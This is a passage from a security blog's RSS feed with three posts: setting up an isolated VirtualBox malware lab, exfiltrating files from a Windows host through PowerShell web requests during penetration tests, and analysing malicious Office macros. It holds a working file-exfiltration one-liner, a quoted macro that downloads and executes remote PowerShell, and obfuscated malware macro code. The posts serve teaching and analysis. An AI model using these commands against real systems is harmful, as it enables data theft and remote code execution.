REMnux host&#xA;&#xA;VBoxManage dhcpserver modify --netname malwarelab --set-opt=3 &#39;10.0.0.2&#39; --set-opt=5 &#39;10.0.0.2&#39; --set-opt=6 &#39;10.0.0.2&#39;&#xA;&#xA;The --set-opt option is used to specify the DHCP option that is being set, there are several options that exist, the ones being set in the command above are&#xA;&#xA;3 Default Gateway&#xA;5 Name Server&#xA;6 Domain Name Servers&#xA;&#xA;The option 6 is the one that sets the DNS server, however, the option 5 is also set to make sure that any requests to resolve a host or domain name are sent to the REMnux host.&#xA;&#xA;These options are not dynamic, meaning that the REMnux virtual machine should have the IP address that is specified in the above command set via a static lease. This is configured with the command below&#xA;&#xA;VBoxManage dhcpserver modify --network malwarelab --mac-address 08002780A107 --fixed-address &#39;10.0.0.2&#39;&#xA;&#xA;The --mac-address option is used to specify the MAC address that the network interface receives, this is obtained from the Network configuration for the virtual machine in VirtualBox.&#xA;&#xA;Network Settings&#xA;&#xA;Make sure to check that the MAC address matches the one on the interface from the output of ip a, since some systems may set a random value that differs from the one set in VirtualBox&#xA;&#xA;REMnux - Check MAC Address&#xA;&#xA;At this point, the DHCP Server can be enabled so that it can be used for the virtual machines, this is done with the command below&#xA;&#xA;VBoxManage dhcpserver modify --netname malwarelab --enable&#xA;&#xA;The configuration can be verified by running the command below, which lists all of the DHCP servers that are configured in VirtualBox&#xA;&#xA;VBoxManage list dhcpservers&#xA;&#xA;The final step is to set the Network configuration in each of the virtual machines that are part of the lab. After shutting down the virtual machines, go to the Network section in the Settings, set the Attached to to Internal Network and select the malwarelab from the Name dropdown.&#xA;&#xA;Network Settings&#xA;&#xA;Once the virtual machines are started, verify that the IP addresses are assigned accordingly and that they are able to contact each other.&#xA;&#xA;Keep in mind that the Internal Network that is created has no access to any other network and only the virtual machines that are in this malwarelab network reach each other, this means that the virtual machines are completely isolated.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Learning the craft of malware analysis requires for a lab to be built that allows for the malicious binaries and files to be safely analyzed and executed. This lab often involved multiple virtual machines that are able to interact with each other but not with any other computers on the network where the host OS resides or with the Internet, this means that it is necessary to create an isolated network that only those virtual machines can reach.</p>

<p>VirtualBox is one of the most common hypervisors that are used since it&#39;s free and runs in the most popular operating systems, it also has the features to configure the network that the virtual machines can use and generate snapshots of the virtual machine state.</p>

<p>In this post, the creation of the lab that uses VirtualBox and an isolated network is detailed. For the network configuration, the <em>Internal Network</em> is used and a DHCP server is configured in VirtualBox to hand out the IP addresses to the hosts, this is where this lab varies from other setups that I&#39;ve seen.</p>



<h2 id="windows-host" id="windows-host">Windows Host</h2>

<p>Most malware is created for the Windows OS, this means that it is necessary to create a virtual machine that runs this OS and has the necessary tools for analyzing the malware.</p>

<p>The Windows 10 ISO can be downloaded from the <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise">Microsoft Evaluation Center</a>, the Windows 11 ISO is also available on the same site. For the lab setup detailed here, a Windows 10 VM is going to be used, however, it is also possible to use Windows 11.</p>

<p>The virtual machine that is created with the <em>Name</em> of <code>FlareVM</code>, this can be anything and doesn&#39;t affect the rest of the lab build, then set the <em>Type</em> to <code>Microsoft Windows</code> and the <em>Version</em> to <code>Windows 10 (64-bit)</code>. The amount of <em>memory</em> to reserve for the virtual machine will vary depending on the available memory for the host system, setting this to 4 GB (4096 MB) is generally a good amount to work with. The <em>Hard disk</em> size can be set to a minimum of 60 GB, though I usually set this to 100 GB.</p>

<p><img src="https://i.snap.as/pmIkxuLW.png" alt="VirtualBox - Create Virtual Machine"/></p>

<p>After the virtual machine is created, I make some additional changes to the configuration prior to starting the machine for the first time</p>

<p>In the <em>System</em> section, the EFI is enabled, though this isn&#39;t required since the legacy BIOS can also be used</p>

<p><img src="https://i.snap.as/GorGwvHG.png" alt="Enable EFI"/></p>

<p>In the <em>Processor</em> tab, these settings will depend on the available resources of the host system. I set the processor count to 2 and also enable the <code>PAE/NX</code> and the <code>Nested VT-x/AMD-V</code>.</p>

<p><img src="https://i.snap.as/5Nt44nQO.png" alt="Set Processor Configuration"/></p>

<p>For the <em>Display</em> section, increase the <em>Video Memory</em> to 128 MB, which is the highest available when not enabling the 3D Acceleration. I also leave the <em>3D Acceleration</em> disabled as I&#39;ve found that it tends to generate display issues in Windows 10.</p>

<p><img src="https://i.snap.as/BdavFGp4.png" alt="Set Video Memory"/></p>

<p>All other options can be left in their default configuration. The virtual machine can now be started and Windows 10 installed as normal, during the installation process disconnect the network cable from the virtual machine, this can be done by right clicking on the network icon on the bottom of the virtual machine window and unchecking the <em>Connect network adapter</em> option, this to avoid Windows from attempting to install updates and require a Microsoft 365 account for creating the user account.</p>

<p>After the Windows 10 OS has been installed, power off the system and create a snapshot of the virtual machine to have a restore point that can be used if necessary. The snapshot can be created with the following steps</p>
<ol><li>Click on the <em>Tools</em> menu button that is found on the right side of the virtual machine entry in the VirtualBox main window</li>
<li>Select the <em>Snapshots</em> option from the menu</li>
<li>Click on the <em>Take</em> button from the toolbar, a window is displayed where a name can be given to the snapshot and a description</li></ol>

<p><img src="https://i.snap.as/wU5uvyc8.png" alt="VirtualBox - Create Snapshot"/></p>

<p>Start the Windows 10 virtual machine again and follow the steps mentioned in the <a href="https://github.com/mandiant/flare-vm">Flare-VM</a> repository to install the tools that will be used for malware analysis within the Windows 10 virtual machine. This process will require for a connection to the Internet, so be sure to enable the network connectivity.</p>

<h2 id="remnux" id="remnux">REMNux</h2>

<p>The other virtual machine that is created is the GNU/Linux distribution called <a href="https://remnux.org/">REMnux</a>, which is a distribution that contains several tools that can be used for malware analysis and reverse engineering.</p>

<p>The virtual appliance can be downloaded from the <a href="https://docs.remnux.org/install-distro/get-virtual-appliance">REMnux Documentation</a>, there is a VirtualBox OVA file that is downloaded and has the virtual machine already setup.</p>

<p>While the virtual machine can be used as is, I recommend reviewing the settings to increase the <em>Processor</em>, <em>Memory</em>, and <em>Display</em> resources to increase the configuration depending on the available resources of the host system.</p>

<h2 id="isolated-network-setup" id="isolated-network-setup">Isolated Network Setup</h2>

<p>Once the virtual machines have been installed and are ready to be isolated, the <em>Internal Network</em> can be created in VirtualBox. Setting up the DHCP Server that will be used can only be done through the CLI by using the <code>VBoxManage</code> command.</p>

<p>The first command that is executed is to create the DHCP Server</p>

<pre><code class="language-shell">VBoxManage dhcpserver add --network malwarelab --ip 10.0.0.1 --netmask 255.255.255.0 --lowerip 10.0.0.10 --upperip 10.0.0.100
</code></pre>

<p>Breaking down the command to detail each of the options that are specified</p>
<ul><li><code>--network</code> specifies the name that the network receives and that is used to reference the network when configuring the virtual machines or the network</li>
<li><code>--ip</code> specifies the IP address that the DHCP server uses, can be either set to the first or last address in the subnet range, this is an IP address that no other virtual machine can use</li>
<li><code>--netmask</code> sets the network mask that is used for the subnet, even though there are only two virtual machines that are created, other machines can be added to analyze more complex samples or certain behavior, so leaving this to a large netmask is ok</li>
<li><code>--lowerip</code> specifies the start of the range of IP addresses that can be assigned to the hosts that make the DHCP request</li>
<li><code>--upperip</code> specifies the end of the range of available IP address for assigning, in this sample command there are 90 IP addresses in the pool and this should be enough</li></ul>

<p>At this point the initial configuration is created, however, there are a couple of DHCP options that need to be set in order to use the REMnux virtual machine to capture any outbound requests that are made from the Windows 10 virtual machine. The command below sets the <em>DNS</em> and <em>Default Gateway</em> parameters so that the Windows 10 host sends any requests to the REMnux host</p>

<pre><code class="language-shell">VBoxManage dhcpserver modify --netname malwarelab --set-opt=3 &#39;10.0.0.2&#39; --set-opt=5 &#39;10.0.0.2&#39; --set-opt=6 &#39;10.0.0.2&#39;
</code></pre>

<p>The <code>--set-opt</code> option is used to specify the DHCP option that is being set, there are several options that exist, the ones being set in the command above are</p>
<ul><li><code>3</code> Default Gateway</li>
<li><code>5</code> Name Server</li>
<li><code>6</code> Domain Name Servers</li></ul>

<p>The option <code>6</code> is the one that sets the DNS server, however, the option <code>5</code> is also set to make sure that any requests to resolve a host or domain name are sent to the REMnux host.</p>

<p>These options are not dynamic, meaning that the REMnux virtual machine should have the IP address that is specified in the above command set via a static lease. This is configured with the command below</p>

<pre><code class="language-shell">VBoxManage dhcpserver modify --network malwarelab --mac-address 08002780A107 --fixed-address &#39;10.0.0.2&#39;
</code></pre>

<p>The <code>--mac-address</code> option is used to specify the MAC address that the network interface receives, this is obtained from the <em>Network</em> configuration for the virtual machine in VirtualBox.</p>

<p><img src="https://i.snap.as/Vs8YjIk0.png" alt="Network Settings"/></p>

<p>Make sure to check that the MAC address matches the one on the interface from the output of <code>ip a</code>, since some systems may set a random value that differs from the one set in VirtualBox</p>

<p><img src="https://i.snap.as/WfHl4M7G.png" alt="REMnux - Check MAC Address"/></p>

<p>At this point, the DHCP Server can be enabled so that it can be used for the virtual machines, this is done with the command below</p>

<pre><code class="language-shell">VBoxManage dhcpserver modify --netname malwarelab --enable
</code></pre>

<p>The configuration can be verified by running the command below, which lists all of the DHCP servers that are configured in VirtualBox</p>

<pre><code class="language-shell">VBoxManage list dhcpservers
</code></pre>

<p>The final step is to set the <em>Network</em> configuration in each of the virtual machines that are part of the lab. After shutting down the virtual machines, go to the <em>Network</em> section in the <em>Settings</em>, set the <em>Attached to</em> to <code>Internal Network</code> and select the <code>malwarelab</code> from the <code>Name</code> dropdown.</p>

<p><img src="https://i.snap.as/KgEyoJbx.png" alt="Network Settings"/></p>

<p>Once the virtual machines are started, verify that the IP addresses are assigned accordingly and that they are able to contact each other.</p>

<p>Keep in mind that the <em>Internal Network</em> that is created has no access to any other network and only the virtual machines that are in this <code>malwarelab</code> network reach each other, this means that the virtual machines are completely isolated.</p>
]]></content:encoded>
      <guid>https://codebeta.com/malware-analysis-lab-build</guid>
      <pubDate>Tue, 05 Jul 2022 03:39:05 +0000</pubDate>
    </item>
    <item>
      <title>Data Exfiltration - Uploading from PowerShell</title>
      <link>https://codebeta.com/data-exfiltration-uploading-from-powershell?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[During a penetration testing engagement it may be necessary to extract files from a target host, though many tools exist for this job, there may be instances where interaction with the host is done only via a reverse shell and this can limit the available options.&#xA;&#xA;This post goes over one method that can be used, which leverages the usage of the Invoke-WebRequest cmdlet in order to send data by using HTTP POST requests to send Base64 encoded data in the body of the request.&#xA;&#xA;!--more--&#xA;&#xA;On the host that receives the data, start a netcat listener that pipes the data received to a file, this can be achieved with the following command&#xA;&#xA;ncat -lvnp 8000 | tee data.b64&#xA;&#xA;By piping the output of netcat to the tee command, it is easy to visualize the data that is being sent from the target host, since the data is Base64 encoded, it won&#39;t mess up the terminal and it will be easy to see when the data has finished transferring. Once the data transfer is complete, close the connection by pressing the ctrl+c keys on the terminal that is running the netcat listener.&#xA;&#xA;On the target host, the file can be Base64 encoded with the following cmdlet&#xA;&#xA;[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;))&#xA;&#xA;The output can be stored in a variable, as shown below&#xA;&#xA;$B64DATA = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;))&#xA;&#xA;The command that is used to send the data is shown below&#xA;&#xA;Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body $B64DATA&#xA;&#xA;It can also be used directly on the Invoke-WebRequest cmdlet by using it within parenthesis, as can be seen in the following one-liner&#xA;&#xA;Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;)))&#xA;&#xA;After the data is sent, the command will appear to be stuck, however, just need to close the netcat listener in order to terminate the session and gain the prompt back on the reverse shell.&#xA;&#xA;The data.b64 file that is written on the host that receives the data contains the full HTTP POST request, however, the Base64 encoded string is a single line and can be easily decoded with the following command&#xA;&#xA;tail -1 data.b64 | base64 -d   data.bin&#xA;&#xA;The file data.bin can then be used or processed as needed. Though the steps above detail the process for handling binary data, these steps can be used with plain text files as well without any issues.&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>During a penetration testing engagement it may be necessary to extract files from a target host, though many tools exist for this job, there may be instances where interaction with the host is done only via a reverse shell and this can limit the available options.</p>

<p>This post goes over one method that can be used, which leverages the usage of the <code>Invoke-WebRequest</code> cmdlet in order to send data by using HTTP POST requests to send Base64 encoded data in the body of the request.</p>



<p>On the host that receives the data, start a <code>netcat</code> listener that pipes the data received to a file, this can be achieved with the following command</p>

<pre><code class="language-shell">ncat -lvnp 8000 | tee data.b64
</code></pre>

<p>By piping the output of <code>netcat</code> to the <code>tee</code> command, it is easy to visualize the data that is being sent from the target host, since the data is Base64 encoded, it won&#39;t mess up the terminal and it will be easy to see when the data has finished transferring. Once the data transfer is complete, close the connection by pressing the <code>ctrl+c</code> keys on the terminal that is running the <code>netcat</code> listener.</p>

<p>On the target host, the file can be Base64 encoded with the following cmdlet</p>

<pre><code class="language-powershell">[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;))
</code></pre>

<p>The output can be stored in a variable, as shown below</p>

<pre><code class="language-powershell">$B64DATA = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;))
</code></pre>

<p>The command that is used to send the data is shown below</p>

<pre><code class="language-powershell">Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body $B64DATA
</code></pre>

<p>It can also be used directly on the <code>Invoke-WebRequest</code> cmdlet by using it within parenthesis, as can be seen in the following one-liner</p>

<pre><code class="language-powershell">Invoke-WebRequest -uri http://example.com/data.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&#34;C:\Path\to\file&#34;)))
</code></pre>

<p>After the data is sent, the command will appear to be stuck, however, just need to close the <code>netcat</code> listener in order to terminate the session and gain the prompt back on the reverse shell.</p>

<p>The <code>data.b64</code> file that is written on the host that receives the data contains the full HTTP POST request, however, the Base64 encoded string is a single line and can be easily decoded with the following command</p>

<pre><code class="language-shell">tail -1 data.b64 | base64 -d &gt; data.bin
</code></pre>

<p>The file <code>data.bin</code> can then be used or processed as needed. Though the steps above detail the process for handling binary data, these steps can be used with plain text files as well without any issues.</p>
]]></content:encoded>
      <guid>https://codebeta.com/data-exfiltration-uploading-from-powershell</guid>
      <pubDate>Thu, 11 Nov 2021 16:28:49 +0000</pubDate>
    </item>
    <item>
      <title>Analyzing Malware Documents</title>
      <link>https://codebeta.com/analyzing-malware-documents?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Having the possibility of including code within a file allows for certain tasks to be carried out when handling documents. Whether that is to enhance the content or to process data within the document. However, having this feature has been abused by malicious actors for a long time and little can be done to mitigate this attack vector without removing the functionality from the document.&#xA;&#xA;Microsoft includes the ability to embed Visual Basic for Applications code within Office documents since 1993 with the first version being implemented in Excel. Allowing the users to record actions to automate working with documents.&#xA;&#xA;Visual Basic for Applications or VBA is based off of Visual Basic 6, which it&#39;s Microsoft&#39;s event-driven programming language that was discontinued back in 2008. However, the language lives on in VBA and it facilitates automating tasks within Office Documents and also in VBScripts.&#xA;&#xA;!--more--&#xA;&#xA;Office Document Structure&#xA;&#xA;In early 2000, Microsoft changed the file format from a single binary file that had a closed standard to the open standard, which utilizes XML files to make up the file. It became the default format in Office 2007.&#xA;&#xA;Officially called the Office Open XML and differentiated with an x at the end of the extension, the file itself is made up of mainly XML files which are contained in a zip archive. Besides XML files, any other files that are inserted into the document are also included within the zip archive.&#xA;&#xA;Within the zip archive there are some files that exist independent of the type of document, these are the Metadata files, and files that exist depending on the type of document, these are called respectively Document and are stored in a directory with the document type as the name.&#xA;&#xA;The contents of the archive may differ depending on the program that created the file.&#xA;&#xA;Metadata Files&#xA;&#xA;There are 3 files that are used for this section&#xA;&#xA;Content Types: This XML file specifies the file type for any of the extensions of the files that are included within the archive. The file is named [ContentTypes].xml&#xA;Relationships: The files that end in .rels act as a type of index file, meaning that this tells the program where to locate all of the files that are related to the different parts that make up the document. It is located in rels/.rels, that contains the details for the primary files within the document.&#xA;References to Resources: Each component, for example a page within a Word document, will have it&#39;s own rels/resource.xml.rels file that points to other files that have a relation with the specific resource, for example including an entry for an image file that is shown in one of the pages of the Word document.&#xA;&#xA;Document Properties&#xA;&#xA;Located in the directory docProps, this contains two XML files that contains the properties of the document&#xA;&#xA;app.xml: This file contains several file properties that relate to the application, including metrics data and program versions&#xA;core.xml: This file contains document data such as Title, author, timestamps, among other properties. Some properties may be user modifiable and others are controlled by the program.&#xA;&#xA;Main Document Contents&#xA;&#xA;The document contents are included in this directory and the directory name depends on the program that creates the file&#xA;&#xA;word: Word Documents&#xA;ppt: PowerPoint Presentations&#xA;xl: Excel Spreadsheets&#xA;&#xA;The contents of this directory will vary between the format types, however, they mainly include any styling data and the distribution of the document contents.&#xA;&#xA;Macros may also be included within this directory or they may exist in a separate Macros directory.&#xA;&#xA;Media&#xA;&#xA;This directory includes any media, such as images, that are inserted into the document.&#xA;&#xA;Malware in Macros&#xA;&#xA;Malware is often embedded within Office documents and use enticing names and messages to have users open the documents and ignore any alerts.&#xA;&#xA;Original versions of Office would automatically execute any macros that were included, which made it easier for malicious actors as they would only need to have the victim open the file. Due to this, Microsoft changed the way the Macros work and now it requires user intervention to start the execution of the macro, the user is alerted of the risk of running macros in unknown files.&#xA;&#xA;Because of this change, malicious actors need to resort to creative measures to have the victim ignore the alert and run the macro code. Corporate environments may use macros within their documents and don&#39;t always take into consideration the employee education or signing the documents to avoid any alerts, this results in users being educated to ignore the alerts and makes it easier for the malicious actors.&#xA;&#xA;There are multiple ways that the macros can be abused to attack the victim&#39;s system. There are some cases where the malware is within the code itself or it may encode a binary file that is then decoded, saved to disk, and executed.&#xA;&#xA;Recent cases are using the Office document as a first stage, where PowerShell code is leveraged to download a second stage which contains the actual malware. Due to current detection mechanisms in different security tools used, the malicious actors need to encode payloads and commands with different methods which include simple encoding algorithms, such as Base64, and reversing strings or obfuscating the strings within the code.&#xA;&#xA;A simple example for a first stage using macros is shown in How to create Microsoft Office macro malware – phishing attack&#xA;&#xA;Sub AutoOpen()&#xA;  Dim exec As String&#xA;  exec = “powershell.exe “”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.104/tar.txt’))”””&#xA;  Shell (exec)&#xA;End Sub&#xA;&#xA;In this example, the attack is simple and is not obfuscated, the code simply downloads a file from a web server and executes it using PowerShell. The code in the PowerShell script could contain malicious intent in the way of being a second stage or even establishing a reverse shell, the possibilities are endless.&#xA;&#xA;During an investigation, it would be necessary to download any additional files that the macro downloads in order to create the complete picture and look for indicators of compromise, these can be used to look for other systems that may have been infected or even establish monitoring rules to look out for new victims.&#xA;&#xA;Parts of the malware can be placed within the metadata of the document, this serves as an easy hiding spot and can be quickly changed without having to go into the code to alter the payload.&#xA;&#xA;Entry Point&#xA;&#xA;For macro codes, there are several functions that can act as an entry point for the execution, this will depend on the intention or obfuscation method that the malicious actor may choose. It&#39;s more common for certain security applications to open email attachments for quick analysis, in order to avoid the malware from being triggered from the start, the malicious actor can use a different function that triggers the malware execution at a different point or under certain conditions.&#xA;&#xA;Below is a sample obfuscated code that serves as the entry point for the malware, where the function DecodeDocument is used&#xA;&#xA;Attribute VBName = &#34;NewMacros&#34;                                                   &#xA;Sub DecodeDocument()                                                                                                                                                 &#xA;Attribute DecodeDocument.VBProcData.VBInvokeFunc = &#34;Project.NewMacros.DecodeDocument&#34;&#xA;&#39;                   &#xA;&#39; DecodeDocument Macro        &#xA;&#39;                                                                                 &#xA;&#39;                  &#xA;    Dim d3h5dHh5U3BwaWxX&#xA;    ODppd2VGaGloc2dpSA = ThisDocument.BuiltInDocumentProperties(Chr(67) + Chr(111) + Chr(109) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(115))&#xA;    a3JtdnhXZ212aXF5UmVsdHBF = aWhzZ2lI(&#34;3/=&lt;;:987654~}|{zyxwvutsrqponmlkjihgfe^]\[ZYXWVUTSRQPONMLKJIHGFE&#34;)                                &#xA;    d2hyZXFxc0doaWhzZ2lI = QmFzZTY0X0RlY29kZQo(ODppd2VGaGloc2dpSA, a3JtdnhXZ212aXF5UmVsdHBF)&#xA;    eHxpWHJtZXBU = aWhzZ2lI(d2hyZXFxc0doaWhzZ2lI)                                 &#xA;    d3h5dHh5U3BwaWxX = Shell(eHxpWHJtZXBU, vbHide)                                &#xA;End Sub                                                                           &#xA;&#xA;Base64 Decode Function&#xA;&#xA;The VBA implementation does not contain a function or library that can quickly encode or decode Base64, however, it can be easily implemented using other areas of Office, an example is shown with the following code&#xA;&#xA;Private Function EncodeBase64(ByRef arrData() As Byte) As String&#xA;&#xA;    Dim objXML As MSXML2.DOMDocument&#xA;    Dim objNode As MSXML2.IXMLDOMElement&#xA;   &#xA;    &#39; help from MSXML&#xA;    Set objXML = New MSXML2.DOMDocument&#xA;   &#xA;    &#39; byte array to base64&#xA;    Set objNode = objXML.createElement(&#34;b64&#34;)&#xA;    objNode.dataType = &#34;bin.base64&#34;&#xA;    objNode.nodeTypedValue = arrData&#xA;    EncodeBase64 = objNode.Text&#xA;&#xA; &#xA;&#xA;    &#39; thanks, bye&#xA;    Set objNode = Nothing&#xA;    Set objXML = Nothing&#xA;&#xA;End Function&#xA;&#xA;Private Function DecodeBase64(ByVal strData As String) As Byte()&#xA;&#xA;    Dim objXML As MSXML2.DOMDocument&#xA;    Dim objNode As MSXML2.IXMLDOMElement&#xA;   &#xA;    &#39; help from MSXML&#xA;    Set objXML = New MSXML2.DOMDocument&#xA;    Set objNode = objXML.createElement(&#34;b64&#34;)&#xA;    objNode.dataType = &#34;bin.base64&#34;&#xA;    objNode.Text = strData&#xA;    DecodeBase64 = objNode.nodeTypedValue&#xA;   &#xA;    &#39; thanks, bye&#xA;    Set objNode = Nothing&#xA;    Set objXML = Nothing&#xA;&#xA;End Function&#xA;&#xA;Malicious actors may sometimes create their own implementation of certain functionality within the malware, this can be done for various reasons, one of them is because there is no simpler way to do this within the language or it could also be to obfuscate the code. It is also common for only decoders to be included within the code of the macro, specially in cases where the macro code doesn&#39;t need to encode any data.&#xA;&#xA;Below is an obfuscated Base64 decoder that is found in a sample malware&#xA;&#xA;Function QmFzZTY0X0RlY29kZQo(GYDozL, xbZuLutP)&#xA;    Dim VAIXQ,vgDKwiF,cWBqjCKwBl,CBnhtvROBWJf,VdNmpUUu,uOatMJ,GkdMVutOqmk,fqcaXNK,StBHym,NDXnaxDDQ,iXQiRtcgmWEUplc&#xA;&#xA;    CBnhtvROBWJf = 2      &#xA;    VAIXQ = bGVuZ3RoCg(GYDozL)&#xA;    VdNmpUUu = 8&#xA;    uOatMJ = 16  4&#xA;&#xA;    For cWBqjCKwBl = 1 To VAIXQ Step 4&#xA;        Dim zIlis,OaRRODd,WuFeJHdca,MmrJRSmq,EgnwkcNgcIgofn,dzYTBeK,xuRJndLZwLYPC,URJApvGRUMy,lpIcVNAjHiIgkw,ONOzKt,SdwnMSAxfcsNR&#xA;&#xA;        zIlis = 3&#xA;        EgnwkcNgcIgofn = 0&#xA;&#xA;        For OaRRODd = 0 To 3&#xA;            WuFeJHdca = Mid(GYDozL, cWBqjCKwBl + OaRRODd, 1)&#xA;&#xA;            If WuFeJHdca = &#34;=&#34; Then&#xA;                zIlis = zIlis - 1&#xA;                MmrJRSmq = 0&#xA;            Else&#xA;                MmrJRSmq = InStr(1, xbZuLutP, WuFeJHdca, vbBinaryCompare) - 1&#xA;            End If&#xA;&#xA;            EgnwkcNgcIgofn = 64  EgnwkcNgcIgofn + MmrJRSmq&#xA;        Next&#xA;&#xA;        EgnwkcNgcIgofn = Hex(EgnwkcNgcIgofn)&#xA;        EgnwkcNgcIgofn = String(6 - Len(EgnwkcNgcIgofn), &#34;0&#34;) &amp; EgnwkcNgcIgofn&#xA;&#xA;        dzYTBeK = Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 1, 2))) + &#xA;            Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 3, 2))) + &#xA;            Chr(CByte(&#34;&amp;H&#34; &amp; Mid(EgnwkcNgcIgofn, 5, 2)))&#xA;&#xA;        vgDKwiF = vgDKwiF &amp; Left(dzYTBeK, zIlis)&#xA;    Next&#xA;&#xA;    QmFzZTY0X0RlY29kZQo = vgDKwiF&#xA;End Function&#xA;&#xA;The function accepts two parameters:&#xA;&#xA;GYDozL = Base64 encoded string&#xA;xbZuLutP = Alphanumeric string &#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&#34;&#xA;&#xA;There are also variables that are used as decoy, meaning that their values are never utilized after being assigned and this can also be done with functions, where multiple functions can be created, but never used or functions can be called but their output is never used.&#xA;&#xA;Encoding is not used with security in mind, it&#39;s used with the idea of making commands not easily detectable or due to encoding conversion or when transferring data over the Internet not risking parts of the code being lost.&#xA;&#xA;For this next sample code, the characters are moved over by 4 bytes, in a ROT13 style, and then the whole string is reversed.&#xA;&#xA;Function aWhzZ2lI(a3JtdnhXaGloc2dySQ)&#xA;    Dim b As String, i As Long, a() As Byte, sh&#xA;    a = StrConv(a3JtdnhXaGloc2dySQ, vbFromUnicode)&#xA;    For i = 0 To UBound(a)&#xA;        a(i) = a(i) - 4&#xA;    Next i&#xA;    b = StrReverse(StrConv(a, vbUnicode))&#xA;    aWhzZ2lI = b&#xA;End Function&#xA;&#xA;There is only one input parameter, which is the string that is encoded.&#xA;&#xA;One way to analyze a function is to look at what parameters the functions are called with and what output they return, it is still important to look for any calls that may execute any commands outside of the code or Office document.&#xA;&#xA;Renaming Functions&#xA;&#xA;Given that VBA doesn&#39;t have the possibility to rename functions, like languages like JavaScript allows, a workaround is to create a function that simply returns the value that the other function returns.&#xA;&#xA;In this example, to obfuscate the function Len, a function is created with a random string of characters.&#xA;&#xA;Function bGVuZ3RoCg(c3RyaW5nCg)&#xA;    bGVuZ3RoCg = Len(c3RyaW5nCg)&#xA;End Function&#xA;&#xA;Document Analysis&#xA;&#xA;This section shows a quick analysis of a Word document. Microsoft Office documents that have a macro embedded receive an extension that ends with the letter m, though this can be changed.&#xA;&#xA;The first step is to check the contents of the archive, the 7-zip utility can be used for this task&#xA;&#xA;❯ 7z l Doc5.docm&#xA;&#xA;7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21&#xA;p7zip Version 16.02 (locale=enUS.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz (806E9),ASM,AES-NI)&#xA;&#xA;Scanning the drive for archives:&#xA;1 file, 26568 bytes (26 KiB)&#xA;&#xA;Listing archive: Doc5.docm&#xA;&#xA;--&#xA;Path = Doc5.docm&#xA;Type = zip&#xA;Physical Size = 26568&#xA;&#xA;   Date      Time    Attr         Size   Compressed  Name&#xA;------------------- ----- ------------ ------------  ------------------------&#xA;1980-01-01 00:00:00 .....         1585          413  [ContentTypes].xml&#xA;1980-01-01 00:00:00 .....          590          239  rels/.rels&#xA;1980-01-01 00:00:00 .....         4526         1557  word/document.xml&#xA;1980-01-01 00:00:00 .....         1081          301  word/rels/document.xml.rels&#xA;1980-01-01 00:00:00 .....        27648        10834  word/vbaProject.bin&#xA;1980-01-01 00:00:00 .....         8393         1746  word/theme/theme1.xml&#xA;1980-01-01 00:00:00 .....          277          191  word/rels/vbaProject.bin.rels&#xA;1980-01-01 00:00:00 .....         2474          609  word/vbaData.xml&#xA;1980-01-01 00:00:00 .....         3194         1105  word/settings.xml&#xA;1980-01-01 00:00:00 .....          241          155  customXml/item1.xml&#xA;1980-01-01 00:00:00 .....          341          225  customXml/itemProps1.xml&#xA;1980-01-01 00:00:00 .....        29364         2924  word/styles.xml&#xA;1980-01-01 00:00:00 .....          803          313  word/webSettings.xml&#xA;1980-01-01 00:00:00 .....         1567          502  word/fontTable.xml&#xA;1980-01-01 00:00:00 .....          991          572  docProps/core.xml&#xA;1980-01-01 00:00:00 .....         1041          524  docProps/app.xml&#xA;1980-01-01 00:00:00 .....          296          194  customXml/rels/item1.xml.rels&#xA;------------------- ----- ------------ ------------  ------------------------&#xA;1980-01-01 00:00:00              84412        22404  17 files&#xA;&#xA;The fact that there is a vbaProject.bin.rels file confirms that there is a macro present within the document, this could be a red flag if there is no expectation of a macro being embedded within the document. Further analysis should be carried out in order to determine if the code is malicious or not.&#xA;&#xA;Extracting Macro Source Code&#xA;&#xA;There are tools that are able to extract source code from the document, such as oledump. This tool can be used to analyze the document.&#xA;&#xA;❯ oledump Doc5.docm&#xA;A: word/vbaProject.bin&#xA; A1:       412 &#39;PROJECT&#39;&#xA; A2:        71 &#39;PROJECTwm&#39;&#xA; A3: M    7836 &#39;VBA/NewMacros&#39;&#xA; A4: m    1135 &#39;VBA/ThisDocument&#39;&#xA; A5:      5028 &#39;VBA/VBAPROJECT&#39;&#xA; A6:      3195 &#39;VBA/_SRP0&#39;&#xA; A7:       340 &#39;VBA/SR&#39;&#xA; A8:      3399 &#39;VBA/_SRP2&#39;&#xA; A9:       366 &#39;VBA/_SRP3&#39;&#xA;A10:       348 &#39;VBA/_SRP4&#39;&#xA;A11:       106 &#39;VBA/_SRP5&#39;&#xA;A12:       571 &#39;VBA/dir&#39;&#xA;&#xA;The output above shows multiple objects that are identified by the A code at the start of the line and can be easily extracted with the following command&#xA;&#xA;oledump Doc5.docm -v -s A3&#xA;&#xA;This would output the object A3, which is the source code of the macro that is contained within the document, this is also identified by the capital M found on the first output.&#xA;&#xA;Not all macros will execute upon loading the document in an Office program, this can be done to avoid automatic analysis with sandbox tools. The function autoopen would be used for those documents that do execute the code upon opening, the following code is an example of this case&#xA;&#xA;Sub autoopen()&#xA;  MsgBox (&#34;hello world&#34;)&#xA;End Sub&#xA;&#xA;After the code is extracted, it 